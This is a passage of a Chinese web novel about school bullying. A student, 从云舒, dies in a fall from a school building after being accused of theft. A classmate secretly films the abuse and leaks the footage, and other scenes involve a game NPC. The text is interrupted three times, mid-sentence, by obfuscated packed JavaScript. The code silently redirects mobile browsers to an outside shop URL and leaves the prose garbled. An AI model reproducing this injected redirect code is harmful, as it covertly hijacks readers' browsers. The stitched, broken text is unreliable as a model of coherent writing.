陈岁安也在替从云舒开心:“我妈说,他恢复得很好,但还是要注意心脏,不能受大刺激。” 那老头已经上了年岁,脊背似乎无法克服重力而佝偻向地面,皮肤黑黄又粗粝,蓝衣布裤,脚上更是要着老土的黑色布鞋。 与身边走过上下打量窃窃私语的学生截然不同,犹如有条分界线,却又生活在同一个世界。 见从云舒出来了,老头精神奕奕地走上前两步,又被保安横手拦下。 老头不甘示弱,嗓门颇大:“孙儿!孙儿!” 从云舒先是惊讶,接着脸上立刻浮现显而易见的窘迫,他受不住周遭在一老一少中来回探寻的视线,他们毫不避讳地低下头交头接耳,眼里闪过轻蔑,脸皮似乎在言语里踩踏出脚印。 唯一算是庆幸的,是潘刑为首的那几个还留在学校厕所里烟雾缭绕,他还不至于当面难堪。 他快步走上前,匆匆忙忙道:“你怎么来这!” “翅膀硬了都敢责怪我了!”老头用力挺直腰板,奈何到底佝偻不是一两天,但他语气还是老硬板了。 “医生说我要下床多走动走动!这样才能恢复得更好!我来看看我孙儿,接我孙儿回家!” “回家回家。”周遭窸窸窣窣的碎语仿佛即将喷涌而出,要把他难堪的现实都抖露给老人看,他害怕又恐惧,着急忙慌地拉着老人想逃离这里。 老头的眼睛浑浊,瞳孔却很亮,他突然面朝韩思的方向招手:“哎!那姑娘是不是陈胜男家的孩子,叫陈岁安的!你们一个班对吧!” “没想到还记得我。”被叫到的陈岁安也兴奋招手回应:“从爷爷,是我。” 韩思趁他们叙旧聊天的功夫,刚想从边上的缝隙溜走,结果也被叫住了。 也许是在孤单的病房里呆久了,老头自来熟得可怕:“你这姑娘长得真秀丽,你是陈岁安的好朋友吧?” 感受到陈岁安紧张的目光忽然投来。 韩思没犹豫就点头:“是的。” “好朋友好啊,小妮子你也对我们家小云多担待点儿好不好啊,他脾气随我,坏得很还喜欢告状,我知道你们都很讨厌这种打小报告的……” 陈岁安猛地拉了拉韩思的袖子。 韩思看见同班级的几个男生故意凑近,又站在老人的背后停下,他们频频向这里看来,嘻嘻笑笑,推推搡搡,欲言又止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162418|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 从云舒脸上的惊慌失措几乎藏匿不住。 他似乎将他爷爷隐瞒得很好。 但只要现场有任何一个人说些什么,这场善意的谎言就会不攻自破。 韩思语气平静:“从云舒人挺好的。” 确实是这样,所以被欺凌才会显得格外可悲。 没有被刻意压低音量的这句话,以至于能很清楚地看见,那几个男生在刻意模仿嘴形,就像一场默剧表演,不出意外他们在鹦鹉学舌那句“从云舒人挺好的。” 从爷爷舒了口气:“你们都这样觉得啊!那就好,那就好。我生重病他还去替我筹钱呢,我还担心小云在学校里因为那个臭脾气……” 从云舒几乎是脸红透了,终于忍不住厉声打断:“你能不能不要说了!” “好好好,不说了。”结果老头又从他那灰布包里掏出了一大袋橘子,个个呈油亮的橙色滚圆,“尝尝这橘子,我从乡里头里带回来的,老甜老甜。” 推脱不过执拗的老人,陈岁安自然不用说了,就连韩思都手中书包里全被硬塞了非常多的橘子,对从云舒爷爷的脾气有些傻眼。 “……谢谢。” “这东西哪里都能买到!” “这能一样吗?乡里都是我自己种的!现在城市里的都是食品添加剂,我这是纯天然的。” “橘子能有什么食品添加剂?!”从云舒总算找到了赶紧赶走爷爷的办法,“赶车了快点,还有五分钟车要到站台了。” “哦哦好!好!”从爷爷想到自己走得慢,也可能是听懂了从云舒的言下之意,他掏出两个橘子重重地放在从云舒的手上,又收拾折叠好空空的布包,“还有两个小云吃,走吧,我们回家去!” 趁爷爷在前头走,从云舒转头,他猛地回身鞠了一躬,即不标准又很拙劣,但仿佛用尽了全身气力。 临走前,他还好心提醒了下:“那个……我爷爷种的橘子很酸,特别酸,陈岁安你应该知道,你们扔了就好。” 陈岁安深有同感地点头。 从云舒一走,她又叨叨,有些后怕:“幸好今天潘刑那几个为首的男生,不然……” “不过沈老师也说善恶到头终有报,真希望报应快点来,把潘刑抓进去,最好多抓几个,这些带头欺负人的统统抓进去。” 刚那几个挤眉弄眼的男生走没影了。韩思轻声回道:“希望吧,不过离高考也就不足五个月了。” “是啊只有五个月了,现在从云舒都这么认真学习,我也得努力学,今晚多刷一套题!我要考出这里!” 晚霞早已彻底浸没于地平线,夜幕笼罩,但月色皎白。 和陈岁安分开后走去车站的路上,没料想再次擦肩而过那几个男生,他们刚想嬉笑搞怪,韩思先一步竖中指轻声回骂句“臭傻*”。 几人张牙舞爪的,作势要打人,韩思毫不退让地回瞪,僵持片刻后他们撂下狠话悻悻作罢。 十分钟后站在冷风里等车,回过神来,她猛然惊觉自己可能是和零零零待太久了,性格脾气潜移默化地受了不少的影响。 无论是研学旅行中半夜溜出酒店,还是明知山有虎偏向虎山行,被侮辱就反击,都是曾经没想过的事情。 忽然想起得到从云舒和陈岁安一致认可的酸橘子,韩思狐疑地剥开橘子皮,“有多酸。” 橘肉入嘴的瞬间就呸呸呸。 真想让嘴欠的零零零也尝尝。 但他吃不到。 算他走运。 42. 扑火(2) 回家照例登上游戏,习以为常地抱着试卷找个空草地坐下。 零零零最近很长一段时间都没有突脸杀,然而对他那种人掉以轻心的后果,就是今天他竟悄无声息地从身后绕出来,吓人程度更胜一筹。 韩思握笔不稳,试卷被尖锐笔尖戳破一个大洞,待提起来的心脏落回胸腔,她怒瞪零零零一眼,这人肯定是故意的。 从云舒爷爷那酸到扭曲的橘子,欠兮兮的零零零也真该尝尝。 但游戏的味觉系统没出,他尝不到。 算他走运。 零零零却歪头疑惑问道:“你生气了?” 被如此反问,韩思更是气笑了:“没生气。” “由瞪眼,皱眉,嘴巴紧闭,脸色偏红,肌肉紧张等等外在因素综合判断,你生气的概率大于百分之九十二。” 这一板一眼的语气,倒是让她第一次看出来零零零真的是个由程序组成的NPC。 韩思索性放下笔,隐约觉得不大对劲。 零零零似乎在认真分析:“根据过往的经验判断,百分之七十以上的概率是你脸皮薄胆子小,被我吓到后恼羞成怒。” 韩思没忍住用笔杆戳戳零零零的额头,他既不闪躲也不眨眼,就这么直愣愣地盯着韩思。 韩思被盯得都不生气了,反倒开始担忧:“喂零零零,你不会系统坏了吧?” 系统坏了…… “剩下百分之二十的可能是她本身心情不好……” 韩思一个字都没听进去。 她没来由地想到一个一直被有意无意地忽视的事实。 零零零是NPC,无论是系统迭代更新,还是卡bug被管理员删除,等等等的不可抗力因素太多了,这预示着迟早有一天他会在任何一个平凡的日子,彻底消失在漫漫数据库里。 如果这平凡的日子是今天的话。 惊觉的瞬间,心跳倏然停滞,不安蔓延四肢百骸,眼前人有着完全熟悉的外表,却陌生得心惊胆战。 能确定他不是零零零。 她语调有些不稳:“你是?” 对面没有回答,只是眨眨眼,口中的分析没停下过:“根据过往经验判断,当汉斯小姐出现百分之三十以下的怒气值时,可以选择继续调侃,她会气呼呼的很可爱——” 戛然而止。 对面这位‘零零零’话音未落,身体突然分解数据组成的碎片,眨眼间就消散。 又一个零零零从树后走出来,少年指节捂嘴佯装咳嗽:“咳,果然这技术刚推出,既不好用也不成熟还智障,一眼就被伟大的汉斯小姐识破了。” 坐在草地上的韩思猛然抬头,恰巧和正在打量自己的零零零撞个正着,少年眉尾微挑,似乎有些愕然:“你不会以为我真变成那弱智鸟样了吧。” 视线交汇,韩思率先别过头。 气得牙痒痒。 “……《仙缘》的新功能,玩家能定制个仿真机器人出来,我就是想测试看看能仿真到什么程度,最好能让他代替我做那些个枯燥的记录数据任务,但前提是不被其他玩家发现。” 肩膀被衣料轻擦,零零零边吐槽边在身边紧贴着坐下:“思来想去最熟悉我的人就是你了,没想到这技术烂成这样也敢推广出来,两个回合都撑不住就暴露了。” 韩思低头,长发落在脸侧正好能掩盖神色,她拿起草地上的试卷,想着移开些距离。 脸颊上却突然有奇怪的触感,抬眸猝不及防见少年满眼的认真,修长的指节微曲,指腹轻揉上脸颊,似乎在擦拭走什么东西。 “对不起。”他正色道。 几个呼吸后,韩思无情甩开他的手:“我脸皮薄胆子小。” 零零零不敢吱声。 但他又哪里是能按耐住性子的人,也就是静默五道选择题的功夫,衣料衣料之间摩擦,窸窸窣窣,好听的嗓音再次在耳边响起,透着点小心翼翼。 “第三题错了,再解一遍应该能看出来。” 韩思视线移回第三题,余光和光明正大盯着自己的零零零撞个正着。 她想装作没看见,但实在耐不住视线之炙热,想着他肯定有要事要说,便放下笔转头问道:“还有什么事吗?” 零零零唇角微勾,漂亮的桃花眼里盛满好奇:“你觉得刚刚那个人机帅还是我帅?” “……” 她就该把酸橘子塞进他嘴里。 潘刑也就安分了第一个月,第二个月上来听说被他爹妈从酒吧拉回来暴揍过,勒令他迟到早退被发现一次就打一次。 他带着重重的怒气进班级,就知道大事不妙。 韩思毕竟之前也得罪过他,无法幸免于难,勉强安稳了不足三个月的日子结束。潘刑此次更加变本加厉,一走在他前头就要被恶意猛推,考试试卷也不翼而飞,最后在垃圾桶里被翻到。 他那跟班上周刚被韩思竖中指骂傻*,今天立刻报复回来掐尖嗓门阴阳怪气:“大学霸试卷怎么丢垃圾桶了?” 韩思虽然气,但除了当作没看见也别无他法,因为潘刑和虚张声势的不一样,他是真的会下狠手打人。 只能在心里默默叹口气,幸好这张卷子的错题她心里有数,老早核对订正完了。 学霸还有个好处,就是老师也不查她的试卷,不至于狼狈地从垃圾桶里把揉成球的试卷捡起来。 对比之下,从云舒更为凄惨,完全成为被发泄的沙包,气氛安静,班级里其他人置若罔闻得如同一片死海,仿佛他只要大口呼吸就会被按下头溺毙。 陈岁安不忍又纠结地看了好几眼,但心底门清,只要一帮忙,她就会沦落为下一个从云舒。 永远拿不到崭新的试卷,永远被窃窃私语传谣言,永远自己的东西都会不翼而飞,永远水杯里都会被人加料,永远被嘲弄被孤立被殴打。 心底的道德和恐惧在做斗争,人到底是利己性动物,恐惧占据上风,她不想再尝一遍上次被孤立的痛苦。 她也只是个可怜的、被人吆五喝六的班级底层而已。 韩思原本趴在书桌上休息,她轻轻坐直,左手摸上电子钟,校服是长袖,刚好躲在袖子里的手能偷偷按下‘小电子钟’的隐藏按钮。 液晶屏幕亮起,就好像只是在单纯地看时间。 从爷爷爽朗的“多担待些我孙子”犹在耳畔,嘴里却如同吃了那橘瓤,喉咙口又酸又苦在上泛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183969|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不敢站起身制止,她还要高考,还要离开这个污泥沼。 她无不厌恶地看着不远处的单方面殴打。 将这些欺凌行为录下保存,在高考结束后一定会一一成为回旋镖打回潘刑的身上。 还有偷项链的事情,也快快查出结果来吧,把潘刑送进监狱里。 这段暗无天日的日子持续了一个多月,并看上去还会继续持续下去,直到高考结束。 三月上来的第一周周中,刚下过暴雨的天空一碧如洗,正所谓春困秋乏夏打盹,高三生本就睡眠不足,中午更是困得恨不得倒头就睡,也就只有几个混混精气神倒是足得很,拿了盆不知哪里来的水浇在从云舒的桌子椅子上。 下午上课铃即将打响,戏弄欺凌似乎即将迎来结束。 在潘刑抬头准备回座位的瞬间,从云舒逮住机会回击潘刑的下巴一拳,周遭的围观者纷纷惊讶,又充斥他肯定要完了的幸灾乐祸。 潘刑果不其然恼羞成怒,拿起书桌上的东西就殴打上去。 上课铃命运般打响,正好被从教室外赶来的班主任抓个正着,几个男老师一起押送他去校长办公室。 人赃并获的潘刑照旧是吊儿郎当的模样,毕竟说不定这还正合他的心意,反正他根本不想来上学。 临走前甚至当着老师面狠踹了一脚从云舒的桌角,又吐了口唾沫在地上,咧嘴笑得嘻嘻哈哈:“你爷爷这回要被你气死了,傻*玩意儿。” 从云舒眼眶很红,不知道是被羞辱还是被打得,那张普通又偏秀气的脸扭曲得很难堪,缩在阴影里。 下午第一节是语文课,沈老师进门就皱眉:“怎么一股臭味?” 大半人哄笑地看向从云舒的位置,更有来事的举手:“老师,因为从云舒掉屎坑了。” 沈老师厌恶之色更重,索性站在讲台上翻开考卷开讲,“第一篇现代文有讲到关于‘证言窒息’这一概念……” 可能是实在太臭了,她整节课都没下过讲台。 本以为这只是习以为常的一场欺凌。 到第二天一早,都没有传来潘刑被退学的消息。完全不意外,那人可是校长办公室的常客,其父母是教学楼建设的核心投资者。 韩思从床上爬起来,摸到床头柜叮叮叮放来电铃声的手机,屏幕显示早晨4:47,天蒙蒙亮仍未破晓,昏昏沉沉的天际里透着紫黑。 万籁俱寂。 唯有对面传来陈岁安崩溃的哭声。 “我今天就是想早点到学校,昨天作业没写完,怎么会,我打其他人电话都打不通。” “他就在我眼前跳下去了,怎么办韩思,怎么办。” “从云舒跳楼了。” 披上校服外套到学校,已经是六点,晨光熹微,暖阳洒落教学楼楼顶,三月头的惊蛰刚过,春回暖花待开。 救护车似乎已经开走,警车还停在校门口,警灯闪烁。 几个警察站在教学楼的下方,隔着相当一段距离,都能模糊瞧见血迹的颜色,安静地淌在沥青面上,拘于方寸。 分明是春回大地的季节了,却无端有些悲伤。 韩思将校服外套拢紧些许。 43. 扑火(3) 如此一桩大事显然不会轻易落幕,跳楼的起因对她这样心知肚明的人来讲分明是校园霸凌,但断定又需要仔细调查才能水落石出。 警察在从云舒的桌肚里,找到了一张皱巴巴的薄纸,还被不知什么液体浸湿过,几处泛黄,似乎是从草稿本上草草撕下的,写着大大的三个字。 “对不起” 那么大的事,自然有的是人沸腾。 项链真的是从云是偷的。 之前没有老师站出来否认,其实也在间接证明流言的真实性。 “我就说了吧。他和他那婊子妈一个德行,都不是什么好东西,手还脏,偷东西。” “他剩下的那些东西怎么办,放我们教室里晦气死了。” 也有人不大相信,拼拼凑凑出了些真相:“之前不是说从云舒爷爷生重病了吗,他会不会是偷项链卖钱给他爷爷看病用。” “那也不能偷啊,这么下三滥的手段也使得出来,要么就是被骂怕了哈哈哈。” “喂!” 那几个人回头,身后是个样貌年轻的警察,他怒喝:“你们在谈论逝者吗?怎么说话这么难听!” 他们无辜地眨眨眼睛:“我们随便聊聊啦。” 一唱一和:“这不犯法吧。” 那名警察皱着眉头,口头教育了两句。 沈老师的项链是从云舒偷的。 韩思刚听到这句话时还以为自己幻听了。 怎么可能的事情。 直到去办公室拿试卷,才见沈老师似乎在自责;“调查结果出来了,是从云舒偷的项链。” “但怎么是从云舒偷的呢?” “我就是想给他们长个教训,十万块也没那么多,可以打个欠条以后再还,但怎么就偏偏有人这段时间提供齐了证据,还偏偏无法撤案。” 韩思努力平复心情,手指轻敲办公室大门:“沈老师,下节是您的课。” 沈老师惊慌失措,又红着眼睛道歉:“对不起对不起,陈老师会帮我代一下的,对不起。” 她一连说了好些个对不起,似乎希望得到宽恕。 命运荒谬。盗窃项链的小偷水落石出,然而罪犯不是潘刑,是向来安安稳稳学习,遭受欺凌都无法反抗的从云舒。 同样从办公室里出来的李轩玉满脸惊讶,刚走到长廊就向身边的韩思道:“你听见了么,沈老师的话,还真是从云舒偷的项链。真搞不懂,他偷项链做什么,还偷这么贵的项链。” “他爷爷生病了。” “生病了也有其他办法筹到钱吧,走完医保还能再少点儿,又不是成百上千万,十万又不多。” 韩思回答得诚恳:“因为你有钱。” 十万元也许真的不多,只是恰好亲人生大病又人缘差的高中生借不到,唯一一次大胆是鬼迷心窍地选择偷窃。 可又怎么怪他,飞蛾除却扑火,没有其他的路可走。 可又怎么怪沈老师,她的项链作为定情信物真的很贵,她也没想到会是从云舒,十万块会成为压死骆驼的最后一根稻草。 午间休息的时候,学校南门聚集了好些人,嘈杂的声音在教室都能听见,见有人来闹事,学生们个个都趴在教室窗台上人挤人。 教室里没几个人留在座位上,陈岁安是其中一个,她双眸灰暗无精打采,作为直面现场的当事人,警察调查后又有不少人明里暗里打探,试图挖掘出更多消息。 陈岁安一个字都没回答,她整个上午都精神恍惚。 还是韩思和李轩玉护在她周围请走这批八卦的。 李轩玉看韩思会帮忙挺惊讶,韩思亦是。 不过两人都默契地没有多问什么。 中午午休,班主任派了个隔壁班的进教室,他大声喊:“陈岁安,你妈妈到校门口接你了。” 陈岁安回:“知道了。”便拿起已经整理好的书包,从班级后门走出去。 李轩玉这会儿被抓去订正试卷,韩思犹豫片刻,还是跟在陈岁安身后,经过后排时,视线轻扫过座位。 空了一个角落里的。 潘刑仍趴在桌子上外放打游戏,耳朵后还夹着支烟。 善恶到头终有报,从云舒的报应已经到了。 潘刑的呢。 陈岁安是个向来温温柔柔,被欺负了也会露出腼腆笑容讨好型人格的女孩,她见韩思跟上来,没说什么,只是眼眶通红,勉强笑着:“谢谢。” 陈阿姨来接陈岁安的门口恰好是南门。 刚好能近距离看清,为什么这里被一群人乌泱泱围着堵得水泄不通。 但韩思不敢上前探清,陈岁安也不敢。 站在行政楼楼下,隔着不远的距离,都能看见不久前刚见过的从爷爷,黑灰色的衣服,在众人围绕下小小的一个,背佝偻得厉害,好像失去力气就会跪倒在地。 保安想拦但拦不住,他们不知道这个看上去已经半截入土的小老头为什么力气这么大。 小老头还拿着那天的袋子,可是袋子干瘪里头没有什么东西,他又老又破的嗓门也不嘹亮,哭得涕泗横流。 “是我不中用!是我不中用啊!我孙儿偷东西是为了我!他没拿到那钱我就死了,就该我还!就该用我命还,为什么要他的命,他不该为了我去偷。” “还我孙子,求求你们了还我孙子吧。” “大慈大悲啊求你们大慈大悲吧,我怎么活……” 厚重的悲伤、恳切质朴的言辞,悲怆如大海一寸一寸蔓延。 眼看不明所以的围观群众越聚越聚越多,一名保安使用喇叭驱赶人群,大声喊着:“散一散!散一散!” 其他两个从北大门匆匆赶来的,手架在老头的胳膊上,用力想要把老人带进保安室。 她们下楼前其实就隐约猜到了,这个时间段来这里的人,只能是那个小老头,因为从云舒的亲人只有他了。 不知道他这次是怎样一个人乘着一块钱的公交车从远远的乡里来到学校,又抱着怎样心情去接受这次的回家路只有他形单影只。 一名身穿警服的人经过,他袖子被老人抓住。 “他不可能自己去偷东西的,他不会,他绝对不会。” “您是警察吧,我孙儿在学校里一直被人欺负,但我没有办法啊,也没有人救他,您能不能还他一个清白。” “从云舒爷爷知道啊。”陈岁安忽然握紧韩思的手,泪水夺眶而出。 上次从爷爷送橘子还历历在目,他说小妮子你照顾照顾我们小云,老人执拗地塞水果的样子,像极了自己已经过世的亲人。 韩思还记得那些橘子实在是太酸,最终还是把大部分都丢进了垃圾桶,现在大概已经腐烂彻底。 陈岁安松开手,带着哭腔说:“你就送我到这里吧,谢谢你韩思。” “快点回教室吧,要上课了。” 陈岁安每次跑操都会气喘吁吁,借着系鞋带蹲下来休息个一圈,但这次她从柱子掩体跑出,跑过人群跑得飞快,冲出了很远的距离都没有停歇。 从爷爷苦涩苍白的哭诉停顿片刻,不知道是认出了还是没有。 可她们都没有回头,也不敢回头。 除沈老师的语文课外,其他课程都如同往常的周三课表,按部就班地上着,潘刑更像个没事人。 他几个小弟也都好像有主心骨般,见潘刑不慌他们也不慌乱,直到下午的最后一节课。 两位警察走进教室,开门见山便是:“我们接到举报说,在此之前从云舒曾遭遇过欺凌事件。” 本有着细碎动静的教室瞬间鸦雀无声。 韩思目光轻擦过那块新买的电子钟。 班主任老头第一个带头否认,他笑得很僵硬,面部皱褶堆积:“哪有的事情,我们班是不服管教了点成绩也差了点,但带头欺负同学的事情是肯定没有的。” “他身上有多处淤青,蓝白色校服外套上也很脏,有多处脚印。” “他妈妈是有点暴力倾向的。” “鞋码42-43,属于男性尺寸,另外这位老师,死者母亲已经离家出走很久了,其爷爷在老家养病,现家中只有他一人。” 所有人低头看着桌面,韩思的头也埋得很低,盯着桌面上的试卷,除却几道最简单的题目外,几乎没有动过笔,有些恍神。 警察使用死者二字,原来从云舒是真的死了。 班主任老头打哈哈道:“小云性格内向,在班级里是有些默不作声,我工作也比较忙,可能是有点没关注到的地方,不过不要这么笃定,也可能是他放学后……” “我们已经调取监控了。有人曾多次把篮球扣在他脸上,好像是这几位男生。” 锐利的目光锁定在后排几人的脸上,气氛紧绷。 片刻后,潘刑语气轻松:“打篮球打到脸是多正常的事情。” 那名年轻警官的眉头紧锁:“还有垃圾桶翻到多张被揉皱撕烂的试卷,姓名栏上写的是从云舒。” 他语气逼人:“回答。” 另一个女生也下定决心,强忍着紧张发出声音:“他自己撕的试卷吧,这也和我们有关吗?考差了想撕掉试卷不是人之常情吗。” 她到底没潘刑老油条,语气还有点颤。 “那他试卷上,桌子上、课本上,那些不堪入目侮辱人的脏话,是谁写的?这还不是霸凌吗。” 面对接连的厉声质问,那名女生没做声,脸色苍白。 “玩而已。” 不知是谁第一个嘟囔,接着一道一道的附和声窸窸窣窣响起。 “我们只是和他玩玩,哪有霸凌那么严重。” “写点骂人的脏话而已,还有人从没骂过脏话吗,能有什么实质性伤害。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192494|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “也太敏感了吧。” 利益将他们捆绑在一起,哪怕赤裸裸的真相被摊开在眼前,也必须要极力否认。当正义曙光来临时,没有人愿意承担做坏人的后果。 如果有人此时站起来承认霸凌,那她的声音定然会被驳斥,被掩盖,被报复。 警察唇角绷直,教训几句这种行为太过火,没有继续追问,他收起资料好像审问草率结束,即将离开教室。 不解。 既然看过监控,分明单凭监控就能定罪了吧。 那人出门前步伐又停顿,转头说道:“这个男生这个女生,都来一下。” 接下来进入单独审问的时间。 被指到的潘刑经过两排桌子中间走道,又在前面一张桌子停下,他回头笑得又卑鄙又胜券在握,手指指向斜后方,黑板报顶上,口型依稀是。 “怕什么,早坏了。” 瞬间明悟他的这份气定神闲来自哪里。 因为监控早坏了。 从高三上来的第一场联考开始就坏了,也迟迟没有人来修。 站在外头的警察没走,似乎拿起对讲机在说什么。 短短几分钟后,两人问都没问就被放回来。 那名年轻警察走进教室,视线停留在空座位上,须臾后郑重开口:“还有哪位同学如果有什么消息,请告知我。” 班主任送警察一并出门,三人的背影消失在走廊尽头。 为什么。 调查审问刚起头便毫无缘由地猝然中止,分明距离从云舒遭遇的长达三年的欺凌真相仅仅一步之遥。 有人瘫倒在座位上,“吓死了,搞得像从云舒的死真和我们有关。” 潘刑仿佛早已料到这个结果,和个没事人一样冷哼,“从云舒自个儿还不起十万块跳楼自杀的,关我们屁事。” 随着接连不断的附和,气氛从寂静到嘈杂,好像自己才是被害者,愤懑道。 “是哇,真是的关我们什么事,我们又没真的欺负过他,打闹罢了。” “还不是从云舒自己跳的吗,又没逼着他跳。” “一点责任感都没有,他就轻飘飘这么死了,楼下那个老头是他爷爷吧,也不想想他爷爷怎么办。” “这么一折腾,我今晚作业又要做到凌晨去了。” “还是潘总牛啊,那气度不凡的,面对条子都不紧张。” 韩思不上晚自习,十分钟后下课铃打响就拎包出发,习习晚风吹拂头发,从爷爷好像已经离开了,来来往往只有几个走读生打闹着出门。 从波澜到渐渐平息,这世间同时在发生的大事太多太多,去世的人也太多太多,就像石头丢进大海,恢复如初都不需要多久。 拿起手机随手一刷,案情通报已经高高挂起,七中就这么出了趟名。 上面写明从云舒的死因,一个因盗窃教师贵重物品畏罪潜逃,失足从教学楼顶上坠落的高三生。 校园霸凌被摘干净,但又似乎造成这场死亡的的的确确与霸凌毫无关系。 底下评论都在说他品行不端就是个小偷,更有甚者说死得好死得活该。 走过拐角才发现从爷爷还没走远,他就蹲在角落里,浑浊的眼珠子已经干涸,像是根枯木。 前头还围着些记者,他们对那路过的老师纷纷伸出话筒:“听说今天跳楼的还是个小偷?” “听说他偷了很贵的东西,现在的学生高中就偷窃了吗,你怎么看?” “是哪位老师的学生,品行教育是不是没有跟上。” 韩思脚步微顿,刚想转身换个方向走,又见老人颤颤巍巍地起身。 “不是这样的,小云偷东西是为了我,他不是小偷,你们不要骂他了。” “您是?” “我是小云的爷爷。” “哦哦您是死者的爷爷啊,您对您孙子的盗窃行为怎么看?” “您知道他是为什么自杀的吗?” 真的和霸凌无关吗。 只是因为还不起十万块畏罪自杀? “死者”“自杀”“盗窃”……毫无怜悯的话语如针尖接连戳出,老人懂他们为什么热情,但能抓住的也只有这么一棵浮木。 饱经风霜的老人满是憔悴,又盛着期望和卑微到泥地里的低声祈求:“小云在学校一直被人欺负,一直被人欺负也没有人帮他,你们能不能替他做做主,就算行好人好事了。” 记者们眼里也绽放期待,对独家新闻的期待:“您有证据吗,您孙子被人欺负的证据。” “您是说这不是因为他畏罪潜逃选择自杀,而是另有隐情?而是因为七中校内有校园霸凌?” 老头恍然大悟般喊道:“监控!校内有监控!我去向学校求来监控……” 哪里来的监控。 韩思扭过头,沉默地踢着脚下的碎石头。 44. 扑火(4) 其实她并不后悔当时找了个小角落,把那块电子钟拆开,将掩藏在电池后的内存卡递给其中的一个记者,那人面相看上去是个腼腆憨厚的老实人,也没有咄咄逼人地逼问从爷爷。 电子钟是个伪装的微型摄像头,花了她一个多月的伙食费。 只是第二天进班级门的瞬间,所有人都停下动作,数道目光一齐看向她时,她就明白了也许该换个人给的。 原来人类的眼神也会如豺狼如虎豹,令人恐惧。 他们交头接耳窃窃私语,言谈的对象是韩思。 听见不知道谁冷笑:“哟,英雄。” 韩思庆幸自己入座前看眼座位,不然一屁股坐在不明液体上,绝对不是件好事。 在椅子边蹲下,又抽纸擦干净桌椅。 无论是桌面桌肚,书本试卷都显而易见地被人翻开过,又暴力地塞回一块儿,显得很杂乱。 早自习班主任老头进教室,拿起手边的一叠新题本抖了抖:“这次新发了一套习题,语文数学英语三门主课的,有谁没收到不?” 韩思刚整理完桌面桌肚,自然知道没有见过这套新习题,她举手。 “哪套没有?” “都没有。” “怎么会都没有呢?我数着数量是对的,而且你座位又不是最后一排,怎么会没有?都说了要保管好保管好……”老头絮絮叨叨地数落,放下保温杯翻了翻讲台。 周遭的人都神情自若,看不出谁是凶手。 又或者都是。 讲台上的老头摊着两只掌心空荡荡的手,道:“我这里也没有多的,你要是没有就再订一套吧,一套是一百五,费用抽空来办公室交给我。” 是如此强词夺理。 韩思在脑海里琢磨计算,一百五的话两周伙食费就没了。 可竟也别无他法。 直到下早自习,陈岁安和潘刑两人都没来。 潘刑来学校的话,她会更完蛋。 韩思偷偷躲到厕所里打开手机屏幕,在搜索框里搜索关键词。 第一条跳出来的就是。 标题:七中跳楼真相存疑,是畏罪还是霸凌?回帖数量999+,事关反转,又是关系到热议的校园暴力,看上去真的热度很高。 里面有一张她的照片,不知是什么时候偷拍的,虽然勉强打上了半张马赛克,但又和没打没区别,熟悉的人一看就知道是谁。 时间临近上课,韩思开门出厕所,猛然见外头有人,她下意识后退半步。 李轩玉抓上厕所门把手,制止住她关门:“你不是很牛哄哄吗,录像潘刑打人,还把录像都放出去上新闻了,你知道你这样得罪了所有人吗,不止是潘刑。” 韩思沉默片刻后道:“从云舒……太惨了。” “惨惨惨,我*以前怎么没发现你**比陈岁安那头蠢猪还笨,都说了等高考完高考完,你现在出什么风头。”李轩玉骂得很脏,但又不像是来冷嘲热讽落井下石的,“亏陈岁安那蠢猪休学了,不然我看你俩可以凑一对。” 她停顿片刻,又语气颇狠地接上:“刚发的那套题被潘刑四号狗腿子扔在楼下,我给你捡上来了放你桌上,你最好把他们都录像录进去了,都滚监狱里改造去。” “谢谢。”李轩玉真的是个很出人意料的女生,骄纵的大小姐脾气,也会欺负人,坏但本心没那么坏。 韩思发自肺腑地道谢。 上课铃打响,李轩玉愣是纹丝不动:“现在没人,大学霸我问你,你有没有想过为什么昨天警察没有继续调查。” “是被潘刑家里人阻拦下来了吧。” 李轩玉恨铁不成钢:“学霸脑子分明好使啊,但你怎么就这么想不开?” 她大概也知道开弓没有回头箭的道理,也绝对不会和韩思共沦为班级底层:“总之就做好举报没有用新闻舆论也没用的准备,还有我劝你在家学,潘刑但凡回学校一定会想方设法整死你,你受不住的。” 在家学吗…… 韩思没做声,脸上明显是有难处。 李轩玉又嫌弃道:“还有离我远点,不要一起走,等会儿我先回教室,你慢点出来。” 韩思握紧手机,牙关咬紧:“好。” 第一节是语文课,沈老师还精神恍惚请了假,是隔壁代课的老师上的。 这老师认识李轩玉家里很有钱,但对韩思不熟,抬头见眼前这个迟到十分钟喊报告的温驯少女,让她去后头站着。 下课铃打响,老师还没下课,不过隔壁班的体育课下了,一窝蜂人从外面的走廊经过,闹哄哄的向里头张望。 隔着窗户,她听见他们在交谈。 